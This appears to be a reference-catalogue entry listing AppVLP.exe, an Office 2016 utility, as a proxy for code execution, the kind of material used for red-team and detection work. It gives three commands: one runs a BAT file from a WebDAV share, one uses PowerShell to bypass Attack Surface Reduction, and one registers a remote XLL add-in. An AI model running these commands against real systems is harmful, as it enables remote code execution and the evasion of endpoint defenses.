.. /Appvlp.exe
Star

Execute

Application Virtualization Utility Included with Microsoft Office 2016


Paths:

Resources:
Acknowledgements:

Detection:

Execute

  1. Executes calc.bat through AppVLP.exe

    AppVLP.exe \\webdav\calc.bat
    Use case
    Execution of BAT file hosted on Webdav server.
    Privileges required
    User
    Operating systems
    Windows 10 w/Office 2016
    ATT&CK® technique
    T1218

  2. Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.

    AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)"
    Use case
    Local execution of process bypassing Attack Surface Reduction (ASR).
    Privileges required
    User
    Operating systems
    Windows 10 w/Office 2016
    ATT&CK® technique
    T1218

  3. Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.

    AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
    Use case
    Local execution of process bypassing Attack Surface Reduction (ASR).
    Privileges required
    User
    Operating systems
    Windows 10 w/Office 2016
    ATT&CK® technique
    T1218